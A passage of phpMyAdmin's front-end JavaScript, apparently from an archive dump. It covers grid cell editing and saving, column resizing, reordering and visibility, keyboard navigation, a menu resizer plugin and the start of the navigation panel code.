edited cells in a row // save new_clause var newClause = ''; for (var field in conditionArray) { newClause += field + ' ' + conditionArray[field] + ' AND '; } newClause = newClause.substring(0, newClause.length - 5); // remove the last AND $tr.data('new_clause', newClause); // save condition_array $tr.find('.condition_array').val(JSON.stringify(conditionArray)); multiEditFieldsName.push(fieldsName); multiEditFieldsType.push(fieldsType); multiEditFields.push(fields); multiEditFieldsNull.push(fieldsNull); }); // end of loop for every edited rows relFieldsList = $.param(relationFields); transformFieldsList = $.param(transformFields); // Make the Ajax post after setting all parameters /** * @var postParams Object containing parameters for the POST request */ var postParams = { 'ajax_request' : true, 'sql_query' : fullSqlQuery, 'server' : g.server, 'db' : g.db, 'table' : g.table, 'clause_is_unique' : isUnique, 'where_clause' : fullWhereClause, 'fields[multi_edit]' : multiEditFields, 'fields_name[multi_edit]' : multiEditFieldsName, 'fields_type[multi_edit]' : multiEditFieldsType, 'fields_null[multi_edit]' : multiEditFieldsNull, 'rel_fields_list' : relFieldsList, 'do_transformations' : transformationFields, 'transform_fields_list' : transformFieldsList, 'relational_display' : relationalDisplay, 'goto' : encodeURIComponent('index.php?route=/sql'), 'submit_type' : 'save' }; if (!g.saveCellsAtOnce) { $(g.cEdit).find('*').prop('disabled', true); $(g.cEdit).find('.edit_box').addClass('edit_box_posting'); } else { $(g.o).find('div.save_edited').addClass('saving_edited_data') .find('input').prop('disabled', true); // disable the save button } $.ajax({ type: 'POST', url: 'index.php?route=/table/replace', data: postParams, success: function (data) { g.isSaving = false; if (!g.saveCellsAtOnce) { $(g.cEdit).find('*').prop('disabled', false); $(g.cEdit).find('.edit_box').removeClass('edit_box_posting'); } else { $(g.o).find('div.save_edited').removeClass('saving_edited_data') .find('input').prop('disabled', false); // enable the save button back } if (typeof data !== 'undefined' && data.success === true) { if (typeof options === 'undefined' || ! options.move) { Functions.ajaxShowMessage(data.message); } // update where_clause related data in each edited row $(g.t).find('td.to_be_saved').parents('tr').each(function () { var newClause = $(this).data('new_clause'); var $whereClause = $(this).find('.where_clause'); var oldClause = $whereClause.val(); var decodedOldClause = oldClause; var decodedNewClause = newClause; $whereClause.val(newClause); // update Edit, Copy, and Delete links also $(this).find('a').each(function () { $(this).attr('href', $(this).attr('href').replace(oldClause, newClause)); // update delete confirmation in Delete link if ($(this).attr('href').indexOf('DELETE') > -1) { $(this).removeAttr('onclick') .off('click') .on('click', function () { return Functions.confirmLink(this, 'DELETE FROM `' + g.db + '`.`' + g.table + '` WHERE ' + decodedNewClause + (isUnique ? '' : ' LIMIT 1')); }); } }); // update the multi edit checkboxes $(this).find('input[type=checkbox]').each(function () { var $checkbox = $(this); var checkboxName = $checkbox.attr('name'); var checkboxValue = $checkbox.val(); $checkbox.attr('name', checkboxName.replace(oldClause, newClause)); $checkbox.val(checkboxValue.replace(decodedOldClause, decodedNewClause)); }); }); // update the display of executed SQL query command if (typeof data.sql_query !== 'undefined') { // extract query box var $resultQuery = $($.parseHTML(data.sql_query)); var sqlOuter = $resultQuery.find('.sqlOuter').wrap('

        ').parent().html(); var tools = $resultQuery.find('.tools').wrap('

        ').parent().html(); // sqlOuter and tools will not be present if 'Show SQL queries' configuration is off if (typeof sqlOuter !== 'undefined' && typeof tools !== 'undefined') { $(g.o).find('.result_query').not($(g.o).find('.result_query').last()).remove(); var $existingQuery = $(g.o).find('.result_query'); // If two query box exists update query in second else add a second box if ($existingQuery.find('div.sqlOuter').length > 1) { $existingQuery.children().eq(3).remove(); $existingQuery.children().eq(3).remove(); $existingQuery.append(sqlOuter + tools); } else { $existingQuery.append(sqlOuter + tools); } Functions.highlightSql($existingQuery); } } // hide and/or update the successfully saved cells g.hideEditCell(true, data); // remove the "Save edited cells" button $(g.o).find('div.save_edited').hide(); // update saved fields $(g.t).find('.to_be_saved') .removeClass('to_be_saved') .data('value', null) .data('original_data', null); g.isCellEdited = false; } else { Functions.ajaxShowMessage(data.error, false); if (!g.saveCellsAtOnce) { $(g.t).find('.to_be_saved') .removeClass('to_be_saved'); } } } }).done(function () { if (options !== undefined && options.move) { g.showEditCell(options.cell); } }); // end $.ajax() }, /** * Save edited cell, so it can be posted later. * * @return {bool} */ saveEditedCell: function () { /** * @var $thisField Object referring to the td that is being edited */ var $thisField = $(g.currentEditCell); var $testElement = ''; // to test the presence of a element var needToPost = false; /** * @var fieldName String containing the name of this field. * @see Sql.getFieldName() */ var fieldName = Sql.getFieldName($(g.t), $thisField); /** * @var thisFieldParams Array temporary storage for the name/value of current field */ var thisFieldParams = {}; /** * @var isNull String capturing whether 'checkbox_null__' is checked. */ var isNull = $(g.cEdit).find('input:checkbox').is(':checked'); if ($(g.cEdit).find('.edit_area').is('.edit_area_loading')) { // the edit area is still loading (retrieving cell data), no need to post needToPost = false; } else if (isNull) { if (!g.wasEditedCellNull) { thisFieldParams[fieldName] = null; needToPost = true; } } else { if ($thisField.is('.bit')) { thisFieldParams[fieldName] = $(g.cEdit).find('.edit_box').val(); } else if ($thisField.is('.set')) { $testElement = $(g.cEdit).find('select'); thisFieldParams[fieldName] = $testElement.map(function () { return $(this).val(); }).get().join(','); } else if ($thisField.is('.relation, .enum')) { // for relation and enumeration, take the results from edit box value, // because selected value from drop-down, new window or multiple // selection list will always be updated to the edit box thisFieldParams[fieldName] = $(g.cEdit).find('.edit_box').val(); } else if ($thisField.hasClass('hex')) { if ($(g.cEdit).find('.edit_box').val().match(/^(0x)?[a-f0-9]*$/i) !== null) { thisFieldParams[fieldName] = $(g.cEdit).find('.edit_box').val(); } else { var hexError = '

        '; Functions.ajaxShowMessage(hexError, false); thisFieldParams[fieldName] = Functions.getCellValue(g.currentEditCell); } } else { thisFieldParams[fieldName] = $(g.cEdit).find('.edit_box').val(); } let isValueUpdated; if ($thisField.attr('data-type') !== 'json') { isValueUpdated = thisFieldParams[fieldName] !== Functions.getCellValue(g.currentEditCell); } else { const JSONString = Functions.stringifyJSON(thisFieldParams[fieldName]); isValueUpdated = JSONString !== JSON.stringify(JSON.parse(Functions.getCellValue(g.currentEditCell))); } if (g.wasEditedCellNull || isValueUpdated) { needToPost = true; } } if (needToPost) { $(g.currentEditCell).addClass('to_be_saved') .data('value', thisFieldParams[fieldName]); if (g.saveCellsAtOnce) { $(g.o).find('div.save_edited').show(); } g.isCellEdited = true; } return needToPost; }, /** * Save or post currently edited cell, depending on the "saveCellsAtOnce" configuration. * * @param options Optional, this object contains a boolean named move (true, if called from move* functions) * and a to which the grid_edit should move */ saveOrPostEditedCell: function (options) { var saved = g.saveEditedCell(); // Check if $cfg['SaveCellsAtOnce'] is false if (!g.saveCellsAtOnce) { // Check if need_to_post is true if (saved) { // Check if this function called from 'move' functions if (options !== undefined && options.move) { g.postEditedCell(options); } else { g.postEditedCell(); } // need_to_post is false } else { // Check if this function called from 'move' functions if (options !== undefined && options.move) { g.hideEditCell(true); g.showEditCell(options.cell); // NOT called from 'move' functions } else { g.hideEditCell(true); } } // $cfg['SaveCellsAtOnce'] is true } else { // If need_to_post if (saved) { // If this function called from 'move' functions if (options !== undefined && options.move) { g.hideEditCell(true, true, false, options); g.showEditCell(options.cell); // NOT called from 'move' functions } else { g.hideEditCell(true, true); } } else { // If this function called from 'move' functions if (options !== undefined && options.move) { g.hideEditCell(true, false, false, options); g.showEditCell(options.cell); // NOT called from 'move' functions } else { g.hideEditCell(true); } } } }, /** * Initialize column resize feature. */ initColResize: function () { // create column resizer div g.cRsz = document.createElement('div'); g.cRsz.className = 'cRsz'; // get data columns in the first row of the table var $firstRowCols = $(g.t).find('tr').first().find('th.draggable'); // create column borders $firstRowCols.each(function () { var cb = document.createElement('div'); // column border $(cb).addClass('colborder') .on('mousedown', function (e) { g.dragStartRsz(e, this); }); $(g.cRsz).append(cb); }); g.reposRsz(); // attach to global div $(g.gDiv).prepend(g.cRsz); }, /** * Initialize column reordering feature. */ initColReorder: function () { g.cCpy = document.createElement('div'); // column copy, to store copy of dragged column header g.cPointer = document.createElement('div'); // column pointer, used when reordering column // adjust g.cCpy g.cCpy.className = 'cCpy'; $(g.cCpy).hide(); // adjust g.cPointer g.cPointer.className = 'cPointer'; $(g.cPointer).css('visibility', 'hidden'); // set visibility to hidden instead of calling hide() to force browsers to cache the image in cPointer class // assign column reordering hint g.reorderHint = Messages.strColOrderHint; // get data columns in the first row of the table var $firstRowCols = $(g.t).find('tr').first().find('th.draggable'); // initialize column order var $colOrder = $(g.o).find('.col_order'); // check if column order is passed from PHP var i; if ($colOrder.length > 0) { g.colOrder = $colOrder.val().split(','); for (i = 0; i < g.colOrder.length; i++) { g.colOrder[i] = parseInt(g.colOrder[i], 10); } } else { g.colOrder = []; for (i = 0; i < $firstRowCols.length; i++) { g.colOrder.push(i); } } // register events $(g.t).find('th.draggable') .on('mousedown', function (e) { $(g.o).addClass('turnOffSelect'); if (g.visibleHeadersCount > 1) { g.dragStartReorder(e, this); } }) .on('mouseenter', function () { if (g.visibleHeadersCount > 1) { $(this).css('cursor', 'move'); } else { $(this).css('cursor', 'inherit'); } }) .on('mouseleave', function () { g.showReorderHint = false; $(this).uiTooltip('option', { content: g.updateHint() }); }) .on('dblclick', function (e) { e.preventDefault(); var res = Functions.copyToClipboard($(this).data('column')); if (res) { Functions.ajaxShowMessage(Messages.strCopyColumnSuccess, false, 'success'); } else { Functions.ajaxShowMessage(Messages.strCopyColumnFailure, false, 'error'); } }); $(g.t).find('th.draggable a') .on('dblclick', function (e) { e.stopPropagation(); }); // restore column order when the restore button is clicked $(g.o).find('div.restore_column').on('click', function () { g.restoreColOrder(); }); // attach to global div $(g.gDiv).append(g.cPointer); $(g.gDiv).append(g.cCpy); // prevent default "dragstart" event when dragging a link $(g.t).find('th a').on('dragstart', function () { return false; }); // refresh the restore column button state g.refreshRestoreButton(); }, /** * Initialize column visibility feature. */ initColVisib: function () { g.cDrop = document.createElement('div'); // column drop-down arrows g.cList = document.createElement('div'); // column visibility list // adjust g.cDrop g.cDrop.className = 'cDrop'; // adjust g.cList g.cList.className = 'cList'; $(g.cList).hide(); // assign column visibility related hints g.showAllColText = Messages.strShowAllCol; // get data columns in the first row of the table var $firstRowCols = $(g.t).find('tr').first().find('th.draggable'); var i; // initialize column visibility var $colVisib = $(g.o).find('.col_visib'); // check if column visibility is passed from PHP if ($colVisib.length > 0) { g.colVisib = $colVisib.val().split(','); for (i = 0; i < g.colVisib.length; i++) { g.colVisib[i] = parseInt(g.colVisib[i], 10); } } else { g.colVisib = []; for (i = 0; i < $firstRowCols.length; i++) { g.colVisib.push(1); } } // make sure we have more than one column if ($firstRowCols.length > 1) { var $colVisibTh = $(g.t).find('th:not(.draggable)').slice(0, 1); Functions.tooltip( $colVisibTh, 'th', Messages.strColVisibHint ); // create column visibility drop-down arrow(s) $colVisibTh.each(function () { var cd = document.createElement('div'); // column drop-down arrow $(cd).addClass('coldrop') .on('click', function () { if (g.cList.style.display === 'none') { g.showColList(this); } else { g.hideColList(); } }); $(g.cDrop).append(cd); }); // add column visibility control g.cList.innerHTML = '
        '; var $listDiv = $(g.cList).find('div'); var tempClick = function () { if (g.toggleCol($(this).index())) { g.afterToggleCol(); } }; for (i = 0; i < $firstRowCols.length; i++) { var currHeader = $firstRowCols[i]; var listElmt = document.createElement('div'); $(listElmt).text($(currHeader).text()) .prepend(''); $listDiv.append(listElmt); // add event on click $(listElmt).on('click', tempClick); } // add "show all column" button var showAll = document.createElement('div'); $(showAll).addClass('showAllColBtn') .text(g.showAllColText); $(g.cList).append(showAll); $(showAll).on('click', function () { g.showAllColumns(); }); // prepend "show all column" button at top if the list is too long if ($firstRowCols.length > 10) { var clone = showAll.cloneNode(true); $(g.cList).prepend(clone); $(clone).on('click', function () { g.showAllColumns(); }); } } // hide column visibility list if we move outside the list $(g.t).find('td, th.draggable').on('mouseenter', function () { g.hideColList(); }); // attach to first row first col of the grid var thFirst = $(g.t).find('th.d-print-none'); $(thFirst).append(g.cDrop); $(thFirst).append(g.cList); // some adjustment g.reposDrop(); }, /** * Move currently Editing Cell to Up * * @param e * */ moveUp: function (e) { e.preventDefault(); var $thisField = $(g.currentEditCell); var fieldName = Sql.getFieldName($(g.t), $thisField); var whereClause = $thisField.parents('tr').first().find('.where_clause').val(); if (typeof whereClause === 'undefined') { whereClause = ''; } var found = false; var $prevRow; $thisField.parents('tr').first().parents('tbody').children().each(function () { if ($(this).find('.where_clause').val() === whereClause) { found = true; } if (!found) { $prevRow = $(this); } }); var newCell; if (found && $prevRow) { $prevRow.children('td').each(function () { if (Sql.getFieldName($(g.t), $(this)) === fieldName) { newCell = this; } }); } if (newCell) { g.hideEditCell(false, false, false, { move : true, cell : newCell }); } }, /** * Move currently Editing Cell to Down * * @param e * */ moveDown: function (e) { e.preventDefault(); var $thisField = $(g.currentEditCell); var fieldName = Sql.getFieldName($(g.t), $thisField); var whereClause = $thisField.parents('tr').first().find('.where_clause').val(); if (typeof whereClause === 'undefined') { whereClause = ''; } var found = false; var $nextRow; var j = 0; var nextRowFound = false; $thisField.parents('tr').first().parents('tbody').children().each(function () { if ($(this).find('.where_clause').val() === whereClause) { found = true; } if (found) { if (j >= 1 && ! nextRowFound) { $nextRow = $(this); nextRowFound = true; } else { j++; } } }); var newCell; if (found && $nextRow) { $nextRow.children('td').each(function () { if (Sql.getFieldName($(g.t), $(this)) === fieldName) { newCell = this; } }); } if (newCell) { g.hideEditCell(false, false, false, { move : true, cell : newCell }); } }, /** * Move currently Editing Cell to Left * * @param e * */ moveLeft: function (e) { e.preventDefault(); var $thisField = $(g.currentEditCell); var fieldName = Sql.getFieldName($(g.t), $thisField); var whereClause = $thisField.parents('tr').first().find('.where_clause').val(); if (typeof whereClause === 'undefined') { whereClause = ''; } var found = false; var $foundRow; $thisField.parents('tr').first().parents('tbody').children().each(function () { if ($(this).find('.where_clause').val() === whereClause) { found = true; $foundRow = $(this); } }); var leftCell; var cellFound = false; if (found) { $foundRow.children('td.grid_edit').each(function () { if (Sql.getFieldName($(g.t), $(this)) === fieldName) { cellFound = true; } if (!cellFound) { leftCell = this; } }); } if (leftCell) { g.hideEditCell(false, false, false, { move : true, cell : leftCell }); } }, /** * Move currently Editing Cell to Right * * @param e * */ moveRight: function (e) { e.preventDefault(); var $thisField = $(g.currentEditCell); var fieldName = Sql.getFieldName($(g.t), $thisField); var whereClause = $thisField.parents('tr').first().find('.where_clause').val(); if (typeof whereClause === 'undefined') { whereClause = ''; } var found = false; var $foundRow; var j = 0; $thisField.parents('tr').first().parents('tbody').children().each(function () { if ($(this).find('.where_clause').val() === whereClause) { found = true; $foundRow = $(this); } }); var rightCell; var cellFound = false; var nextCellFound = false; if (found) { $foundRow.children('td.grid_edit').each(function () { if (Sql.getFieldName($(g.t), $(this)) === fieldName) { cellFound = true; } if (cellFound) { if (j >= 1 && ! nextCellFound) { rightCell = this; nextCellFound = true; } else { j++; } } }); } if (rightCell) { g.hideEditCell(false, false, false, { move : true, cell : rightCell }); } }, /** * Initialize grid editing feature. */ initGridEdit: function () { function startGridEditing (e, cell) { if (g.isCellEditActive) { g.saveOrPostEditedCell(); } else { g.showEditCell(cell); } e.stopPropagation(); } function handleCtrlNavigation (e) { if ((e.ctrlKey && e.which === 38) || (e.altKey && e.which === 38)) { g.moveUp(e); } else if ((e.ctrlKey && e.which === 40) || (e.altKey && e.which === 40)) { g.moveDown(e); } else if ((e.ctrlKey && e.which === 37) || (e.altKey && e.which === 37)) { g.moveLeft(e); } else if ((e.ctrlKey && e.which === 39) || (e.altKey && e.which === 39)) { g.moveRight(e); } } // create cell edit wrapper element g.cEditStd = document.createElement('div'); g.cEdit = g.cEditStd; g.cEditTextarea = document.createElement('div'); // adjust g.cEditStd g.cEditStd.className = 'cEdit'; $(g.cEditStd).html('
        '); $(g.cEditStd).hide(); // adjust g.cEdit g.cEditTextarea.className = 'cEdit'; $(g.cEditTextarea).html('
        '); $(g.cEditTextarea).hide(); // assign cell editing hint g.cellEditHint = Messages.strCellEditHint; g.saveCellWarning = Messages.strSaveCellWarning; g.alertNonUnique = Messages.strAlertNonUnique; g.gotoLinkText = Messages.strGoToLink; // initialize cell editing configuration g.saveCellsAtOnce = $(g.o).find('.save_cells_at_once').val(); g.maxTruncatedLen = CommonParams.get('LimitChars'); // register events $(g.t).find('td.data.click1') .on('click', function (e) { startGridEditing(e, this); // prevent default action when clicking on "link" in a table if ($(e.target).is('.grid_edit a')) { e.preventDefault(); } }); $(g.t).find('td.data.click2') .on('click', function (e) { var $cell = $(this); // In the case of relational link, We want single click on the link // to goto the link and double click to start grid-editing. var $link = $(e.target); if ($link.is('.grid_edit.relation a')) { e.preventDefault(); // get the click count and increase var clicks = $cell.data('clicks'); clicks = (typeof clicks === 'undefined') ? 1 : clicks + 1; if (clicks === 1) { // if there are no previous clicks, // start the single click timer var timer = setTimeout(function () { // temporarily remove ajax class so the page loader will not handle it, // submit and then add it back $link.removeClass('ajax'); AJAX.requestHandler.call($link[0]); $link.addClass('ajax'); $cell.data('clicks', 0); }, 700); $cell.data('clicks', clicks); $cell.data('timer', timer); } else {// When double clicking a link, switch to edit mode // this is a double click, cancel the single click timer // and make the click count 0 clearTimeout($cell.data('timer')); $cell.data('clicks', 0); // start grid-editing startGridEditing(e, this); } } }) .on('dblclick', function (e) { if ($(e.target).is('.grid_edit a')) { e.preventDefault(); } else { startGridEditing(e, this); } }); $(g.cEditStd).on('keydown', 'input.edit_box, select', handleCtrlNavigation); $(g.cEditStd).find('.edit_box').on('focus', function () { g.showEditArea(); }); $(g.cEditStd).on('keydown', '.edit_box, select', function (e) { if (e.which === 13) { // post on pressing "Enter" e.preventDefault(); g.saveOrPostEditedCell(); } }); $(g.cEditStd).on('keydown', function (e) { if (!g.isEditCellTextEditable) { // prevent text editing e.preventDefault(); } }); $(g.cEditTextarea).on('keydown', 'textarea.edit_box, select', handleCtrlNavigation); $(g.cEditTextarea).find('.edit_box').on('focus', function () { g.showEditArea(); }); $(g.cEditTextarea).on('keydown', '.edit_box, select', function (e) { if (e.which === 13 && !e.shiftKey) { // post on pressing "Enter" e.preventDefault(); g.saveOrPostEditedCell(); } }); $(g.cEditTextarea).on('keydown', function (e) { if (!g.isEditCellTextEditable) { // prevent text editing e.preventDefault(); } }); $('html').on('click', function (e) { // hide edit cell if the click is not fromDat edit area if ($(e.target).parents().index($(g.cEdit)) === -1 && !$(e.target).parents('.ui-datepicker-header').length && !$('.browse_foreign_modal.ui-dialog:visible').length && !$(e.target).closest('.dismissable').length ) { g.hideEditCell(); } }).on('keydown', function (e) { if (e.which === 27 && g.isCellEditActive) { // cancel on pressing "Esc" g.hideEditCell(true); } }); $(g.o).find('div.save_edited').on('click', function () { g.hideEditCell(); g.postEditedCell(); }); $(window).on('beforeunload', function () { if (g.isCellEdited) { return g.saveCellWarning; } }); // attach to global div $(g.gDiv).append(g.cEditStd); $(g.gDiv).append(g.cEditTextarea); // add hint for grid editing feature when hovering "Edit" link in each table row if (Messages.strGridEditFeatureHint !== undefined) { Functions.tooltip( $(g.t).find('.edit_row_anchor a'), 'a', Messages.strGridEditFeatureHint ); } } }; /** **************** * Initialize grid ******************/ // wrap all truncated data cells with span indicating the original length // todo update the original length after a grid edit $(t).find('td.data.truncated:not(:has(span))') .wrapInner(function () { return ''; }); // wrap remaining cells, except actions cell, with span $(t).find('th, td:not(:has(span))') .wrapInner(''); // create grid elements g.gDiv = document.createElement('div'); // create global div // initialize the table variable g.t = t; // enclosing .sqlqueryresults div g.o = $(t).parents('.sqlqueryresults'); // get data columns in the first row of the table var $firstRowCols = $(t).find('tr').first().find('th.draggable'); // initialize visible headers count g.visibleHeadersCount = $firstRowCols.filter(':visible').length; // assign first column (actions) span if (! $(t).find('tr').first().find('th').first().hasClass('draggable')) { // action header exist g.actionSpan = $(t).find('tr').first().find('th').first().prop('colspan'); } else { g.actionSpan = 0; } // assign table create time // table_create_time will only available if we are in "Browse" tab g.tableCreateTime = $(g.o).find('.table_create_time').val(); // assign the hints g.sortHint = Messages.strSortHint; g.strMultiSortHint = Messages.strMultiSortHint; g.markHint = Messages.strColMarkHint; g.copyHint = Messages.strColNameCopyHint; // assign common hidden inputs var $commonHiddenInputs = $(g.o).find('div.common_hidden_inputs'); g.server = $commonHiddenInputs.find('input[name=server]').val(); g.db = $commonHiddenInputs.find('input[name=db]').val(); g.table = $commonHiddenInputs.find('input[name=table]').val(); // add table class $(t).addClass('pma_table'); // add relative position to global div so that resize handlers are correctly positioned $(g.gDiv).css('position', 'relative'); // link the global div $(t).before(g.gDiv); $(g.gDiv).append(t); // FEATURES if (isResizeEnabled) { g.initColResize(); } // disable reordering for result from EXPLAIN or SHOW syntax, which do not have a table navigation panel if (isReorderEnabled && $(g.o).find('table.navigation').length > 0) { g.initColReorder(); } if (isVisibEnabled) { g.initColVisib(); } // make sure we have the ajax class if (isGridEditEnabled && $(t).is('.ajax')) { g.initGridEdit(); } // create tooltip for each with draggable class Functions.tooltip( $(t).find('th.draggable'), 'th', g.updateHint() ); // register events for hint tooltip (anchors inside draggable th) $(t).find('th.draggable a') .on('mouseenter', function () { g.showSortHint = true; g.showMultiSortHint = true; $(t).find('th.draggable').uiTooltip('option', { content: g.updateHint() }); }) .on('mouseleave', function () { g.showSortHint = false; g.showMultiSortHint = false; $(t).find('th.draggable').uiTooltip('option', { content: g.updateHint() }); }); // register events for dragging-related feature if (isResizeEnabled || isReorderEnabled) { $(document).on('mousemove', function (e) { g.dragMove(e); }); $(document).on('mouseup', function (e) { $(g.o).removeClass('turnOffSelect'); g.dragEnd(e); }); } // some adjustment $(t).removeClass('data'); $(g.gDiv).addClass('data'); }; /** * jQuery plugin to cancel selection in HTML code. */ (function ($) { $.fn.noSelect = function (p) { // no select plugin by Paulo P.Marinas var prevent = (p === null) ? true : p; /* eslint-disable compat/compat */ var isMsie = navigator.userAgent.indexOf('MSIE') > -1 || !!window.navigator.userAgent.match(/Trident.*rv:11\./); var isFirefox = navigator.userAgent.indexOf('Firefox') > -1; var isSafari = navigator.userAgent.indexOf('Safari') > -1; var isOpera = navigator.userAgent.indexOf('Presto') > -1; /* eslint-enable compat/compat */ if (prevent) { return this.each(function () { if (isMsie || isSafari) { $(this).on('selectstart', false); } else if (isFirefox) { $(this).css('MozUserSelect', 'none'); $('body').trigger('focus'); } else if (isOpera) { $(this).on('mousedown', false); } else { $(this).attr('unselectable', 'on'); } }); } else { return this.each(function () { if (isMsie || isSafari) { $(this).off('selectstart'); } else if (isFirefox) { $(this).css('MozUserSelect', 'inherit'); } else if (isOpera) { $(this).off('mousedown'); } else { $(this).removeAttr('unselectable'); } }); } }; // end noSelect }(jQuery)); src/menu_resizer.js000066600000014664151724472050010426 0ustar00/** * Handles the resizing of a menu according to the available screen width * * Uses themes/original/css/resizable-menu.css.php * * To initialize: * $('#myMenu').menuResizer(function () { * // This function will be called to find out how much * // available horizontal space there is for the menu * return $('body').width() - 5; // Some extra margin for good measure * }); * * To trigger a resize operation: * $('#myMenu').menuResizer('resize'); // Bind this to $(window).resize() * * To restore the menu to a state like before it was initialized: * $('#myMenu').menuResizer('destroy'); * * @package PhpMyAdmin */ (function ($) { function MenuResizer ($container, widthCalculator) { var self = this; self.$container = $container; self.widthCalculator = widthCalculator; var windowWidth = $(window).width(); if (windowWidth < 768) { $('#pma_navigation_resizer').css({ 'width': '0px' }); } // create submenu container var link = $('', { 'href': '#', 'class': 'nav-link dropdown-toggle', 'id': 'navbarDropdown', 'role': 'button', 'data-bs-toggle': 'dropdown', 'aria-haspopup': 'true', 'aria-expanded': 'false' }).text(Messages.strMore); var img = $container.find('li img'); if (img.length) { $(Functions.getImage('b_more').toString()).prependTo(link); } var $submenu = $('
      • ', { 'class': 'nav-item dropdown d-none' }) .append(link) .append($('
          ', { 'class': 'dropdown-menu dropdown-menu-end', 'aria-labelledby': 'navbarDropdown' })); $container.append($submenu); setTimeout(function () { self.resize(); }, 4); } MenuResizer.prototype.resize = function () { var wmax = this.widthCalculator.call(this.$container); var windowWidth = $(window).width(); var $submenu = this.$container.find('.nav-item.dropdown').last(); var submenuW = $submenu.outerWidth(true); var $submenuUl = $submenu.find('.dropdown-menu'); var $li = this.$container.find('> li'); var $li2 = $submenuUl.find('.dropdown-item'); var moreShown = $li2.length > 0; // Calculate the total width used by all the shown tabs var totalLen = moreShown ? submenuW : 0; var l = $li.length - 1; var i; for (i = 0; i < l; i++) { totalLen += $($li[i]).outerWidth(true); } // eslint-disable-next-line compat/compat var hasVScroll = document.body.scrollHeight > document.body.clientHeight; if (hasVScroll) { windowWidth += 15; } if (windowWidth < 768) { wmax = 2000; } // Now hide menu elements that don't fit into the menubar var hidden = false; // Whether we have hidden any tabs while (totalLen >= wmax && --l >= 0) { // Process the tabs backwards hidden = true; var el = $($li[l]); el.removeClass('nav-item').addClass('dropdown-item'); var elWidth = el.outerWidth(true); el.data('width', elWidth); if (! moreShown) { totalLen -= elWidth; el.prependTo($submenuUl); totalLen += submenuW; moreShown = true; } else { totalLen -= elWidth; el.prependTo($submenuUl); } } // If we didn't hide any tabs, then there might be some space to show some if (! hidden) { // Show menu elements that do fit into the menubar for (i = 0, l = $li2.length; i < l; i++) { totalLen += $($li2[i]).data('width'); // item fits or (it is the last item // and it would fit if More got removed) if (totalLen < wmax || (i === $li2.length - 1 && totalLen - submenuW < wmax) ) { $($li2[i]).removeClass('dropdown-item').addClass('nav-item'); $($li2[i]).insertBefore($submenu); } else { break; } } } // Show/hide the "More" tab as needed if (windowWidth < 768) { $('.navbar-collapse').css({ 'width': windowWidth - 80 - $('#pma_navigation').width() }); $submenu.addClass('d-none'); $('.navbar-collapse').css({ 'overflow': 'hidden' }); } else { $('.navbar-collapse').css({ 'width': 'auto' }); $('.navbar-collapse').css({ 'overflow': 'visible' }); if ($submenuUl.find('li').length > 0) { $submenu.removeClass('d-none'); } else { $submenu.addClass('d-none'); } } }; MenuResizer.prototype.destroy = function () { var $submenu = this.$container.find('.nav-item.dropdown').removeData(); $submenu.find('li').appendTo(this.$container); $submenu.remove(); }; /** Public API */ var methods = { init: function (widthCalculator) { return this.each(function () { var $this = $(this); if (! $this.data('menuResizer')) { $this.data( 'menuResizer', new MenuResizer($this, widthCalculator) ); } }); }, resize: function () { return this.each(function () { var self = $(this).data('menuResizer'); if (self) { self.resize(); } }); }, destroy: function () { return this.each(function () { var self = $(this).data('menuResizer'); if (self) { self.destroy(); } }); } }; /** * Extend jQuery * * @param {string} method * * @return {any} */ $.fn.menuResizer = function (method) { if (methods[method]) { return methods[method].call(this); } else if (typeof method === 'function') { return methods.init.apply(this, [method]); } else { $.error('Method ' + method + ' does not exist on jQuery.menuResizer'); } }; }(jQuery)); src/multi_column_sort.js000066600000002535151724472050011467 0ustar00/** * @fileoverview Implements the shiftkey + click remove column * from order by clause functionality * @name columndelete * * @requires jQuery */ AJAX.registerOnload('keyhandler.js', function () { $('th.draggable.column_heading.pointer.marker a').on('click', function (event) { var orderUrlRemove = $(this).parent().find('input[name="url-remove-order"]').val(); var orderUrlAdd = $(this).parent().find('input[name="url-add-order"]').val(); var argsep = CommonParams.get('arg_separator'); if (event.ctrlKey || event.altKey) { event.preventDefault(); AJAX.source = $(this); Functions.ajaxShowMessage(); orderUrlRemove += argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true'; $.post('index.php?route=/sql', orderUrlRemove, AJAX.responseHandler); } else if (event.shiftKey) { event.preventDefault(); AJAX.source = $(this); Functions.ajaxShowMessage(); orderUrlAdd += argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true'; $.post('index.php?route=/sql', orderUrlAdd, AJAX.responseHandler); } }); }); AJAX.registerTeardown('keyhandler.js', function () { $(document).off('click', 'th.draggable.column_heading.pointer.marker a'); }); src/name-conflict-fixes.js000066600000000054151724472050011536 0ustar00$.widget.bridge('uiTooltip', $.ui.tooltip); src/navigation.js000066600000165505151724472050010057 0ustar00/** * function used in or for navigation panel * * @package phpMyAdmin-Navigation */ /* global isStorageSupported, setupRestoreField, setupValidation */ // js/config.js var Navigation = {}; /** * updates the tree state in sessionStorage * * @return {void} */ Navigation.treeStateUpdate = function () { // update if session storage is supported if (isStorageSupported('sessionStorage')) { var storage = window.sessionStorage; // try catch necessary here to detect whether // content to be stored exceeds storage capacity try { storage.setItem('navTreePaths', JSON.stringify(Navigation.traverseForPaths())); storage.setItem('server', CommonParams.get('server')); storage.setItem('token', CommonParams.get('token')); } catch (error) { // storage capacity exceeded & old navigation tree // state is no more valid, so remove it storage.removeItem('navTreePaths'); storage.removeItem('server'); storage.removeItem('token'); } } }; /** * updates the filter state in sessionStorage * * @param {string} filterName * @param {string} filterValue * * @return {void} */ Navigation.filterStateUpdate = function (filterName, filterValue) { if (isStorageSupported('sessionStorage')) { var storage = window.sessionStorage; try { var currentFilter = $.extend({}, JSON.parse(storage.getItem('navTreeSearchFilters'))); var filter = {}; filter[filterName] = filterValue; currentFilter = $.extend(currentFilter, filter); storage.setItem('navTreeSearchFilters', JSON.stringify(currentFilter)); } catch (error) { storage.removeItem('navTreeSearchFilters'); } } }; /** * restores the filter state on navigation reload * * @return {void} */ Navigation.filterStateRestore = function () { if (isStorageSupported('sessionStorage') && typeof window.sessionStorage.navTreeSearchFilters !== 'undefined' ) { var searchClauses = JSON.parse(window.sessionStorage.navTreeSearchFilters); if (Object.keys(searchClauses).length < 1) { return; } // restore database filter if present and not empty if (searchClauses.hasOwnProperty('dbFilter') && searchClauses.dbFilter.length ) { var $obj = $('#pma_navigation_tree'); if (! $obj.data('fastFilter')) { $obj.data( 'fastFilter', new Navigation.FastFilter.Filter($obj, '') ); } $obj.find('li.fast_filter.db_fast_filter input.searchClause') .val(searchClauses.dbFilter) .trigger('keyup'); } // find all table filters present in the tree var $tableFilters = $('#pma_navigation_tree li.database') .children('div.list_container') 